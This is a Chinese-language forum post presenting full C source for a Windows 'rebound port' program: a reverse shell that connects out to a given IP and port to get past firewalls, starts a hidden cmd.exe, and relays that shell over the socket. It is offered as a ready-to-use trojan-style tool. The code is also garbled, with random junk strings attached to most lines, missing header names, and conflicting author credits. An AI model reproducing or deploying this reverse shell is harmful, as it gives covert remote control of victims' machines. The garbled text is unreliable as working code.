这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `cQo0{xK
kU-t7'?4
/* ============================== \o-&f:
Rebound port in Windows NT ZR v"h/~
By wind,2006/7 RC|!+TD
===============================*/ /"H`.LD.?
#include w=h1pwY
#include f~OU*P>V@
8@{OR"Ec
#pragma comment(lib,"wsock32.lib") kPBV6+d~
CBQhIvq.d
void OutputShell(); <!$:8ls
SOCKET sClient; (KZHX5T=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dm"n%
F;lI+^}}
void main(int argc,char **argv) depYqYK7G
{ <WXzh5D2
WSADATA stWsaData; aq+Y7IR_
int nRet; "jecsqCgK0
SOCKADDR_IN stSaiClient,stSaiServer; :f5s4N
+QM@VQ
if(argc != 3) zOEY6lAwI
{ "TV(H+1,z
printf("Useage:\n\rRebound DestIP DestPort\n"); e7fiGl
return; 3($"q]Y
} H+}"q$
@UBjq%z
WSAStartup(MAKEWORD(2,2),&stWsaData); wfL-oi'5
R8L_J6Kpa
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uJR%0 E7!
qQi.?<d2"s
stSaiClient.sin_family = AF_INET; thO ~=RB
stSaiClient.sin_port = htons(0); Ko&hj XHx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .I VlEG0
3bqC\i^[\m
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N!Qg; (
{ WD;Y~|
printf("Bind Socket Failed!\n"); z|7zj/+g
return; < _$%@4 L
} bk<\ujH
Sx:Ur>?hd5
stSaiServer.sin_family = AF_INET; t#nn@Yf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LNl#h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3QSZ ZJ
2>-S-;i
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
o47r<>t
{ UY2X
printf("Connect Error!"); $wYtyN[
return; N$Y " c*
} P+t#4J
OutputShell(); -S,ln
} [>#*B9
<X TU8G
void OutputShell() %;D+k
{ S.B<pjgt
char szBuff[1024]; $qF0ltUQ
SECURITY_ATTRIBUTES stSecurityAttributes; 3ZTE<zRQ
OSVERSIONINFO stOsversionInfo;
%dErnc$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q'oMAM f}
STARTUPINFO stStartupInfo; vvB(r!
char *szShell; ;TcvA
PROCESS_INFORMATION stProcessInformation; Mfk2mIy
unsigned long lBytesRead; "M|P+A
#U=X NU}k
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }7{t^>;D
+6smsL~<#v
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k"kJ_(
stSecurityAttributes.lpSecurityDescriptor = 0; d_S*#/k
stSecurityAttributes.bInheritHandle = TRUE; bW#@OrsS
wiOgyMdx
|8%m.fY`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'tN25$=V&W
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iDl;!b&V.
AeIrr*~]B
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vh3Ijn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Gm$:T'~
stStartupInfo.wShowWindow = SW_HIDE; 0Iud$Lu
stStartupInfo.hStdInput = hReadPipe; ?::NO Dg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IdIrI
#jpoHvth
GetVersionEx(&stOsversionInfo); 6b8;}],|
EzW)'Zzw~
switch(stOsversionInfo.dwPlatformId) dk
QaM@
{ !KKT[28v
case 1: k^$+n_
szShell = "command.com"; m6eZ_&+u
break; q0%
default: wn
Y$fT9
szShell = "cmd.exe"; at!Y3VywG
break; l?Y_~Wuw
} L_Q#(in
d;Hn#2C
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); syx\gz
W$JebW<z(
send(sClient,szMsg,77,0); 9 7%0;a8
while(1) z|G9,:9
{ OQ :dJe6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); It_M@
if(lBytesRead) @=w<B4L
{ r8xyd"Axy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y AF+bCXo
send(sClient,szBuff,lBytesRead,0); ~5ZvOX6L2
}
zJa)* N
else "Th$#3
{ "SN4*
lBytesRead=recv(sClient,szBuff,1024,0); oq-<ob
if(lBytesRead<=0) break; d;tkJ2@NO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Dz!fpE'L
} E< 4l#Z<
} ;;5Uwd'-
Jxf~&!zR
return; z^o 1GY
}